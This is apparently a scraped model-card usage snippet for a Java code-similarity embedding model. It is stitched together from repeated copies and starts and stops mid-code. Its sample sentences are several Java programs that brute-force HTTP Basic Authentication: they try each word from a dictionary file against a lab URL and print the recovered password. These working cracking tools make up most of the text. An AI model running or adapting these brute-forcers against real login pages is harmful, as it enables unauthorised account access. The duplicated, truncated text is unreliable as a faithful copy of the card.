setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    